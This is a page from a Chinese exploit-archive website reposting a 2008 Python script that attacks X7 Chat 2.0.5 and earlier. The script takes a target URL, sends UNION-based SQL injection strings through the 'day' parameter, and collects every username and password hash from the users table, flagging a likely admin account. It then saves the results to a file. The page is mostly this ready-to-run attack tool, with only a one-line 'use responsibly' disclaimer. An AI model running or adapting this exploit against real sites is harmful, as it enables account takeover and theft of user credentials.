首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
X7 Chat <= 2.0.5 (day) Remote SQL Injection Exploit
来源:www.vfocus.net 作者:nonroot 发布时间:2008-01-15  
#!/usr/bin/python
#
#Exploit for xchat 2.0.5
#Saca los usuarios y los hash
#By nonroot - 2008
#it's a PoC, please use responsibly
#
import string,urllib
import sys,re
print "Target host: i.e: http://127.0.0.1/x7chat/"
host=raw_input("Target host ( include http and /): ")
print "Output file: i.e: salida.txt"
out_file=raw_input("Output file: ")
print "trying ..."
SQL_users="1%20UNION%20select%20username,id,username%20from%20x7chat2_users%20--"
SQL_hashs="1%20UNION%20select%20username,id,password%20from%20x7chat2_users%20--"
link_attack=host+"index.php?act=sm_window&page=event&day="
response = urllib.urlopen(link_attack + SQL_users).read()
findall_users=re.compile("</b>(\w+)<Br><Br>").findall
found_users=findall_users(response)
if len(found_users)==0:
print "Sorry, exploit failed, please review the SQL string and try to change something like tables or wathever"
print "Or, there are not users, or x7chat software is version >= 2.0.5.1, so sorry. try to find a new bug ;)"
sys.exit()
#Find the hashs
response = urllib.urlopen(link_attack + SQL_hashs).read()
findall_hashs=re.compile("</b>(\w+)<Br><Br>").findall
found_hashs=findall_hashs(response)
if len(found_hashs)==0:
print "Sorry, exploit failed, please review the SQL string and try to change something like tables or wathever"
print "Or, there are not hashs, or x7chat software is version >= 2.0.5.1, so sorry. try to find a new bug ;)"
sys.exit()
#Save all this at file
file = open(out_file, "w")
file.write("*********************************************************************\n")
file.write("\n")
file.write("HOST:")
file.write(" ")
file.write(host)
file.write("\n")
file.write("\n")
file.write("USER HASH\n")
file.write("possible admin user: ")
file.write(found_users[0])
file.write(" ")
file.write(found_hashs[0])
file.write("\n")
for i in range(len(found_users)):
file.write(found_users[i])
file.write(" ")
file.write(found_hashs[i])
file.write("\n")
file.write("\n")
file.write("*********************************************************************\n")
file.close()
print "Successfull, please review the ",out_file," file."

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Quicktime Player <= 7.3.1.70 H
·Xforum 1.4 (topic) Remote SQL
·Agares PhpAutoVideo 2.21 (arti
·Macrovision FlexNet DownloadMa
·NUVICO DVR NVDV4 / PdvrAtl Mod
·photokron <= 1.7 (update scrip
·Cisco VPN Client IPSec Driver
·0DayDB 2.3 (delete id) Remote
·PixelPost 1.7 Remote Blind SQL
·Evilsentinel <= 1.0.9 (multipl
·PixelPost 1.7 Remote Blind SQL
·SunOS 5.10 Remote ICMP Kernel
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved